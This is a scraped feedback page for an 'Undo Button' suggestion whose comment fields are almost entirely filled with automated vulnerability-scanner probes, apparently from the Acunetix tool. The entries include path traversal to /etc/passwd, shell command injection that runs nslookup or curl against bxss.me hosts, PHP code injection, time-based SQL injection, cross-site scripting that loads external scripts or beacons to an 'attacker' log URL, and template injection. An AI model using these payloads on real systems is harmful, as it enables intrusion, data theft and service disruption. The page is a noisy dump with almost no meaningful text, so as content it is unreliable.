Feedback

Undo Button by Cblackdragon - 166 months ago

You should make one, that way less errors can be made :P

• lxbfYeaa

  1

• WfxYANoW

  1

• WfxYANoW

  1B76ced0CIO

• WfxYANoW

  ${9999405+9999501}

• 1DZG9Nk4DaO

  1

• ${9999191+9999360}

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  echo xqqfyt$()\ ilnmny\nz^xyu||a #' &echo xqqfyt$()\ ilnmny\nz^xyu||a #|" &echo xqqfyt$()\ ilnmny\nz^xyu||a #

• WfxYANoW

  &echo lfqxhd$()\ hotwfn\nz^xyu||a #' &echo lfqxhd$()\ hotwfn\nz^xyu||a #|" &echo lfqxhd$()\ hotwfn\nz^xyu||a #

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• Anonymous

  1

• WfxYANoW

  response.write(9500423*9742987)

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../1

• WfxYANoW

  1&echo uzuefz$()\ htlmiw\nz^xyu||a #' &echo uzuefz$()\ htlmiw\nz^xyu||a #|" &echo uzuefz$()\ htlmiw\nz^xyu||a #

• WfxYANoW

  FT14DXFS

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  |echo iedozl$()\ rvjbge\nz^xyu||a #' |echo iedozl$()\ rvjbge\nz^xyu||a #|" |echo iedozl$()\ rvjbge\nz^xyu||a #

• WfxYANoW

  '+response.write(9500423*9742987)+'

• WfxYANoW

  GiJpy3V0: MeFMDvyY

• WfxYANoW

  bxss.me

• 0MtKOshg

  1

• WfxYANoW

  1|echo kjeznf$()\ ppfjiu\nz^xyu||a #' |echo kjeznf$()\ ppfjiu\nz^xyu||a #|" |echo kjeznf$()\ ppfjiu\nz^xyu||a #

• WfxYANoW

  "+response.write(9500423*9742987)+"

• WfxYANoW

  1&n947878=v959773

• WfxYANoW

  (nslookup -q=cname hitvhfrpavhawd14eb.bxss.me||curl hitvhfrpavhawd14eb.bxss.me))

• eM7zJyPM: KYdbTjzG

  1

• response.write(9121152*9154507)

  1

• ZjFaTVM5Njk=

  1

• WfxYANoW

  $(nslookup -q=cname hitqivriaqnqc03163.bxss.me||curl hitqivriaqnqc03163.bxss.me)

• WfxYANoW

  )

• '+response.write(9121152*9154507)+'

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW&n927950=v920978

  1

• WfxYANoW

  &nslookup -q=cname hitdgusvgrhhp1774b.bxss.me&'\"`0&nslookup -q=cname hitdgusvgrhhp1774b.bxss.me&`'

• WfxYANoW

  !(()&&!|*|*|

• file:///etc/passwd

  1

• WfxYANoW

  &(nslookup -q=cname hitxrxuuoqemu0c26e.bxss.me||curl hitxrxuuoqemu0c26e.bxss.me)&'\"`0&(nslookup -q=cname hitxrxuuoqemu0c26e.bxss.me||curl hitxrxuuoqemu0c26e.bxss.me)&`'

• Http://bxss.me/t/fit.txt

  1

• "+response.write(9121152*9154507)+"

  1

• WfxYANoW

  |(nslookup -q=cname hititojeceovg86875.bxss.me||curl hititojeceovg86875.bxss.me)

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  1

• WfxYANoW

  `(nslookup -q=cname hitkxoqginvfn9dac5.bxss.me||curl hitkxoqginvfn9dac5.bxss.me)`

• WfxYANoW

  '.gethostbyname(lc('hitgg'.'raugtlmi54f8d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(67).chr(114).chr(90).'

• /etc/shells

  1

• )

  1

• WfxYANoW

  ;(nslookup -q=cname hitvdmbmvhfmc53276.bxss.me||curl hitvdmbmvhfmc53276.bxss.me)|(nslookup -q=cname hitvdmbmvhfmc53276.bxss.me||curl hitvdmbmvhfmc53276.bxss.me)&(nslookup -q=cname hitvdmbmvhfmc53276.bxss.me||curl hitvdmbmvhfmc53276.bxss.me)

• WfxYANoW

  1

• ../WfxYANoW

  1

• c:/windows/win.ini

  1

• !(()&&!|*|*|

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitpnglqtznahdf86e.bxss.me||curl${IFS}hitpnglqtznahdf86e.bxss.me)

• bxss.me

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitoekfzawwru090c8.bxss.me||curl${IFS}hitoekfzawwru090c8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoekfzawwru090c8.bxss.me||curl${IFS}hitoekfzawwru090c8.bxss.me)&`'

• WfxYANoW

  '"()

• WfxYANoW

  ".gethostbyname(lc("hitrt"."powhuknc6ce3f.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(86).chr(111).chr(77)."

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  gethostbyname(lc('hitre'.'jpgvofcqc704d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(78).chr(117).chr(67)

• WfxYANoW

  1

• WfxYANoW

  1'&&sleep(27*1000)*soisfa&&'

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1"&&sleep(27*1000)*ovdvuc&&"

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  1'||sleep(27*1000)*tipzve||'

• WfxYANoW

  1"||sleep(27*1000)*oeihvx||"

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  '"

• WfxYANoW

  ";print(md5(31337));$a="

• xfs.bxss.me

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  <!--

• '"

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >91pO(9256)</ScRiPt>

• <!--

  1

• WfxYANoW

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  comment

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  '"()&%<zzz><ScRiPt >91pO(9249)</ScRiPt>

• WfxYANoW

  comment

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(99).concat(81).concat(110).concat(74)+(require"socket" Socket.gethostbyname("hitsy"+"jnwzlybscfff8.bxss.me.")[3].to_s)+"

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '.print(md5(31337)).'

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(98).concat(73)+(require'socket' Socket.gethostbyname('hithc'+'wftlwrtr20cc6.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment/.

• WfxYANoW

  19466950

• ';print(md5(31337));$a='

  1

• comment

  1

• '"()

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(111).concat(67).concat(102).concat(80)+(require'socket' Socket.gethostbyname('hityv'+'enkbtvspe832f.bxss.me.')[3].to_s)

• ";print(md5(31337));$a="

  1

• WfxYANoW'&&sleep(27*1000)*geuwqt&&'

  1

• WfxYANoW"&&sleep(27*1000)*qvldwo&&"

  1

• WfxYANoW

  bfg4494＜s1﹥s2ʺs3ʹhjl4494

• ${@print(md5(31337))}

  1

• ${@print(md5(31337))}\

  1

• comment

  1

• comment/.

  1

• '.print(md5(31337)).'

  1

• WfxYANoW'||sleep(27*1000)*zpcpaj||'

  1

• WfxYANoW"||sleep(27*1000)*kzsqck||"

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >91pO(9732)</ScRiPt>

• WfxYANoW

  1<WJCEGQ>XU6AW[!+!]</WJCEGQ>

• WfxYANoW

  1<script>91pO(9367)</script>

• WfxYANoW

  1<script>91pO(9980)</script>9980

• WfxYANoW

  16D9B3XAJ

• WfxYANoW

  1<ScR<ScRiPt>IpT>91pO(9598)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >91pO(9844)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9621></ScRiPt>

• WfxYANoW

  1<ScRiPt >91pO(9888)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=91pO(9679)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9102'>

• WfxYANoW

  1<body onload=91pO(9586)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=91pO(9547)>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+904-904-1=0+0+0+1 --

• WfxYANoW

  1<img src=xyz OnErRor=91pO(9507)>

• WfxYANoW

  -1 OR 2+991-991-1=0+0+0+1

• WfxYANoW

  -1' OR 2+311-311-1=0+0+0+1 --

• WfxYANoW

  1<img/src=">" onerror=alert(9273)>

• WfxYANoW

  -1' OR 2+75-75-1=0+0+0+1 or 'OvfH7l2k'='

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%39%31%70%4F%289101%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  -1" OR 2+823-823-1=0+0+0+1 --

• WfxYANoW

  1\u003CScRiPt\91pO(9814)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;91pO(9137)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=91pO(9865)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(91pO(9352))}

• WfxYANoW

  17aVBE <ScRiPt >91pO(9244)</ScRiPt>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<WCHVG9>CNIYA[!+!]</WCHVG9>

• WfxYANoW

  1<ifRAme sRc=9878.com></IfRamE>

• WfxYANoW

  1<ahgbgOB x=9692>

• WfxYANoW

  1<img sRc='http://attacker-9300/log.php?

• WfxYANoW

  1<afa1RiP<

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW'"()&%<zzz><ScRiPt >91pO(9176)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >91pO(9723)</ScRiPt>

  1

• WfxYANoW9387743

  1

• bfg6866＜s1﹥s2ʺs3ʹhjl6866

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• JJJ3QQQ

  JJJ30QQQ

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >91pO(9817)</ScRiPt>

  1

• WfxYANoW<W6WSBV>JVOQU[!+!]</W6WSBV>

  1

• WfxYANoW<script>91pO(9646)</script>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<script>91pO(9569)</script>9569

  1

• WfxYANoW<ScRiPt >91pO(9607)</ScRiPt>

  1

• WfxYANoW<ScRiPt >91pO(9151)</ScRiPt>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW<body onload=91pO(9698)>

  1

• WfxYANoW<img src=xyz OnErRor=91pO(9784)>

  1

• WfxYANoW<img/src=">" onerror=alert(9174)>

  1

• WfxYANoW\u003CScRiPt\91pO(9411)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;91pO(9035)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=91pO(9664)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(91pO(9393))}

  1

• WfxYANoW0rPTc <ScRiPt >91pO(9547)</ScRiPt>

  1

• WfxYANoW<WNPOIP>TVRSJ[!+!]</WNPOIP>

  1

• WfxYANoW<ifRAme sRc=9831.com></IfRamE>

  1

• WfxYANoW<axp55vZ x=9050>

  1

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW<img sRc='http://attacker-9511/log.php?

  1

• WfxYANoW<aUO9955<

  1

• WfxYANoW

  1Yw26b4LB'; waitfor delay '0:0:15' --

• WfxYANoW

  1'"()&%<zzz><ScRiPt >KCmn(9806)</ScRiPt>

• WfxYANoW'"()&%<zzz><ScRiPt >w89U(9163)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >w89U(9424)</ScRiPt>

  1

• WfxYANoW

  1-1 OR 981=(SELECT 981 FROM PG_SLEEP(15))--

• WfxYANoW

  '"()&%<zzz><ScRiPt >KCmn(9167)</ScRiPt>

• WfxYANoW9728152

  1

• WfxYANoW

  19289846

• WfxYANoW

  bfg4900＜s1﹥s2ʺs3ʹhjl4900

• bfg10010＜s1﹥s2ʺs3ʹhjl10010

  1

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1-1) OR 502=(SELECT 502 FROM PG_SLEEP(15))--

• dfb{{98991*97996}}xca

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW<ScRiPt >w89U(9755)</ScRiPt>

  1

• WfxYANoW<WLJUXJ>YVAXY[!+!]</WLJUXJ>

  1

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW<script>w89U(9364)</script>

  1

• WfxYANoW

  1-1)) OR 916=(SELECT 916 FROM PG_SLEEP(15))--

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW<script>w89U(9920)</script>9920

  1

• WfxYANoW

  1<ScRiPt >KCmn(9992)</ScRiPt>

• WfxYANoW

  1<WNNGWV>RADSB[!+!]</WNNGWV>

• WfxYANoW<ScRiPt >w89U(9261)</ScRiPt>

  1

• WfxYANoW

  1<script>KCmn(9920)</script>

• WfxYANoW

  1<script>KCmn(9690)</script>9690

• WfxYANoW

  13L779H80' OR 372=(SELECT 372 FROM PG_SLEEP(15))--

• WfxYANoW

  1<ScR<ScRiPt>IpT>KCmn(9569)</sCr<ScRiPt>IpT>

• WfxYANoW<ScRiPt >w89U(9879)</ScRiPt>

  1

• WfxYANoW

  1<ScRiPt >KCmn(9058)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9561></ScRiPt>

• WfxYANoW

  1<ScRiPt >KCmn(9737)</ScRiPt>

• WfxYANoW<body onload=w89U(9544)>

  1

• WfxYANoW

  1<isindex type=image src=1 onerror=KCmn(9269)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9506'>

• WfxYANoW

  1vxXDALQ2') OR 903=(SELECT 903 FROM PG_SLEEP(15))--

• WfxYANoW<img src=xyz OnErRor=w89U(9169)>

  1

• WfxYANoW

  1<body onload=KCmn(9641)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=KCmn(9470)>

• WfxYANoW<img/src=">" onerror=alert(9416)>

  1

• WfxYANoW

  1<img src=xyz OnErRor=KCmn(9625)>

• WfxYANoW\u003CScRiPt\w89U(9262)\u003C/sCripT\u003E

  1

• WfxYANoW

  1<img/src=">" onerror=alert(9609)>

• WfxYANoW

  1jIfozuQx')) OR 38=(SELECT 38 FROM PG_SLEEP(15))--

• WfxYANoW&lt;ScRiPt&gt;w89U(9655)&lt;/sCripT&gt;

  1

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%4B%43%6D%6E%289359%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\KCmn(9337)\u003C/sCripT\u003E

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1&lt;ScRiPt&gt;KCmn(9580)&lt;/sCripT&gt;

• WfxYANoW<input autofocus onfocus=w89U(9690)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW

  1<input autofocus onfocus=KCmn(9928)>

• WfxYANoW}body{zzz:Expre/**/SSion(w89U(9591))}

  1

• WfxYANoWkqenK <ScRiPt >w89U(9014)</ScRiPt>

  1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW<WQJCFI>VNKWO[!+!]</WQJCFI>

  1

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1'"

• WfxYANoW<ifRAme sRc=9726.com></IfRamE>

  1

• WfxYANoW

  @@kgWdp

• WfxYANoW<aIfSedd x=9115>

  1

• WfxYANoW

  1}body{zzz:Expre/**/SSion(KCmn(9331))}

• WfxYANoW<img sRc='http://attacker-9891/log.php?

  1

• WfxYANoW

  12wVpw <ScRiPt >KCmn(9795)</ScRiPt>

• WfxYANoW

  1<WR6IAE>DQZ9R[!+!]</WR6IAE>

• WfxYANoW<aCPACYW<

  1

• WfxYANoW

  1<ifRAme sRc=9607.com></IfRamE>

• WfxYANoW

  1<apXQfWS x=9881>

• WfxYANoW

  1<img sRc='http://attacker-9839/log.php?

• WfxYANoW

  1

• WfxYANoW

  1<asYAevX<

• WfxYANoW

  1

• WfxYANoWflvmjGaK

  1

• WfxYANoW

  1

• -1 OR 2+153-153-1=0+0+0+1 --

  1

• -1 OR 2+980-980-1=0+0+0+1

  1

• -1' OR 2+465-465-1=0+0+0+1 --

  1

• -1' OR 2+11-11-1=0+0+0+1 or 'e0rAf6hF'='

  1

• -1" OR 2+974-974-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWlawHo5Ak'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@nNgJm

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• @@curUU

  1

• User #246063

  1

• pwnvpjxt

  1

• xifnlber

  response.write(9031746*9711091)

• bmdjiumg

  1

• xifnlber

  '+response.write(9031746*9711091)+'

• bmdjiumg

  1

• moabnugq

  set|set&set

• xifnlber

  "+response.write(9031746*9711091)+"

• bmdjiumg

  bw2relSQ

• moabnugq

  $(nslookup JOBjZ0Ce)

• response.write(9918283*9597227)

  1

• bmdjiumg

  -1 OR 2+673-673-1=0+0+0+1 --

• moabnugq

  &nslookup uZMUQuD4&'\"`0&nslookup uZMUQuD4&`'

• mdejxsup

  spHx65WB

• '+response.write(9918283*9597227)+'

  1

• bmdjiumg

  -1 OR 2+656-656-1=0+0+0+1

• set|set&set

  1

• G7qfHLaI

  1

• "+response.write(9918283*9597227)+"

  1

• bmdjiumg

  -1' OR 2+823-823-1=0+0+0+1 --

• $(nslookup H0b5rg0e)

  1

• hfgtgpxa

  ../../../../../../../../../../etc/passwd

• dwbumxwb

  1

• uuqddqjo

  ${9999913+10000328}

• bmdjiumg

  -1' OR 2+750-750-1=0+0+0+1 or 'kRg4gHVL'='

• &nslookup UUiVEjFg&'\"`0&nslookup UUiVEjFg&`'

  1

• hfgtgpxa

  ../../../../../../../../../../../../../../../proc/version

• ${9999431+10000019}

  1

• bmdjiumg

  -1" OR 2+714-714-1=0+0+0+1 --

• mqptuulw

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• VE40TkV6S0U=

  1

• hfgtgpxa

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• wwhfylfp

  1&n943195=v924384

• bmdjiumg

  if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/

• mqptuulw

  1some_inexistent_file_with_long_name.jpg

• jbuffojy

  )

• hfgtgpxa

  ../../../../../../../../../../etc/passwd.jpg

• bmdjiumg

  if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

• mqptuulw

  Http://testasp.vulnweb.com/t/fit.txt

• jbuffojy

  !(()&&!|*|*|

• hfgtgpxa

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• dwbumxwb

  1

• xajtsdad&n928528=v917756

  1

• bmdjiumg

  (select(0)from(select(sleep(5)))v)/*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*/

• mqptuulw

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• jbuffojy

  ^(#$!@#$)(()))******

• hfgtgpxa

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• Anonymous

  1

• bmdjiumg

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• mqptuulw

  testasp.vulnweb.com

• )

  1

• hfgtgpxa

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• bmdjiumg

  -1; waitfor delay '0:0:5' --

• !(()&&!|*|*|

  1

• hfgtgpxa

  /etc/passwd

• bmdjiumg

  -1; waitfor delay '0:0:10' --

• jvkuxijy

  '"()

• 1some_inexistent_file_with_long_name.jpg

  1

• ^(#$!@#$)(()))******

  1

• hfgtgpxa

  %2fetc%2fpasswd

• hlwobimc

  ;print(md5(acunetix_wvs_security_test));

• bmdjiumg

  -1); waitfor delay '0:0:5' --

• Http://testasp.vulnweb.com/t/fit.txt

  1

• tvoguwwj

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• hfgtgpxa

  /.././.././.././.././.././.././.././../etc/./passwd%00

• hlwobimc

  ';print(md5(acunetix_wvs_security_test));$a='

• bmdjiumg

  -1); waitfor delay '0:0:15' --

• '"()

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• hfgtgpxa

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• hlwobimc

  ";print(md5(acunetix_wvs_security_test));$a="

• bmdjiumg

  1 waitfor delay '0:0:5' --

• wbydefrh

  1

• testasp.vulnweb.com

  1

• vxobmcqp

  http://hityBTEAJ41xR.bxss.me/

• hfgtgpxa

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• hlwobimc

  ${@print(md5(acunetix_wvs_security_test))}

• bmdjiumg

  1 waitfor delay '0:0:15' --

• wbydefrh

  comment

• yltqqmgd

  1

• http://hithvCtpnlKvz.bxss.me/

  1

• hlwobimc

  ${@print(md5(acunetix_wvs_security_test))}\

• bmdjiumg

  3xzTj7Xb'; waitfor delay '0:0:10' --

• wbydefrh

  comment

• yltqqmgd

  1'"

• hfgtgpxa

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• eowqwriq

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ;print(md5(acunetix_wvs_security_test));

  1

• bmdjiumg

  -1;select pg_sleep(10); --

• wbydefrh

  comment/.

• yltqqmgd

  \

• hfgtgpxa

  file:///etc/passwd

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• bmdjiumg

  -1);select pg_sleep(10); --

• wbydefrh

  1

• hfgtgpxa

  /\../\../\../\../\../\../\../etc/passwd

• iwfkukqq

  /www.vulnweb.com

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• bmdjiumg

  -1));select pg_sleep(10); --

• comment

  1

• yltqqmgd

  @@IMTSV

• hfgtgpxa

  WEB-INF/web.xml

• /www.vulnweb.com

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• bmdjiumg

  ctun4ZBq';select pg_sleep(10); --

• comment

  1

• yltqqmgd

  JyI=

• hfgtgpxa

  /WEB-INF/web.xml

• kinkxwxi

  '"

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• bmdjiumg

  WOlD5OIw');select pg_sleep(10); --

• comment/.

  1

• hfgtgpxa

  WEB-INF\web.xml

• kinkxwxi

  <!--

• kycymavf

  1'"()&%<acx><ScRiPt >GI6F(9358)</ScRiPt>

• bmdjiumg

  qLEVl7Rs'));select pg_sleep(15); --

• ../../../../../../../../../../etc/passwd

  1

• '"

  1

• bmdjiumg

  1

• yltqqmgd

  (select convert(int,CHAR(65)))

• <!--

  1

• kycymavf

  '"()&%<acx><ScRiPt >GI6F(9688)</ScRiPt>

• bmdjiumg

  1

• yltqqmgd

  1

• SYOdy0Wz

  1

• 1'"

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+729-729-1=0+0+0+1 --

  1

• \

  1

• kycymavf

  1_9295

• -1 OR 2+523-523-1=0+0+0+1

  1

• -1' OR 2+943-943-1=0+0+0+1 --

  1

• @@ZLrjr

  1

• kycymavf

  acu10007＜s1﹥s2ʺs3ʹuca10007

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+848-848-1=0+0+0+1 or 'SZywnKAU'='

  1

• JyI=

  1

• /etc/passwd

  1

• -1" OR 2+834-834-1=0+0+0+1 --

  1

• %2fetc%2fpasswd

  1

• (select convert(int,CHAR(65)))

  1

• kycymavf

  {{9999487*9999858}}

• 1 waitfor delay '0:0:18' --

  1

• M5GXFINz'; waitfor delay '0:0:18' --

  1

• kycymavf

  1<ScRiPt >GI6F(9785)</ScRiPt>

• uWhw3y9R';select pg_sleep(6); --

  1

• 8myCSWJB');select pg_sleep(6); --

  1

• kycymavf

  1<WCLETV>63DHX[!+!]</WCLETV>

• ci0530nU'));select pg_sleep(6); --

  1

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• kycymavf

  1<script>GI6F(9571)</script>

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• kycymavf

  1<ScR<ScRiPt>IpT>GI6F(9544)</sCr<ScRiPt>IpT>

• WEB-INF\web.xml

  1

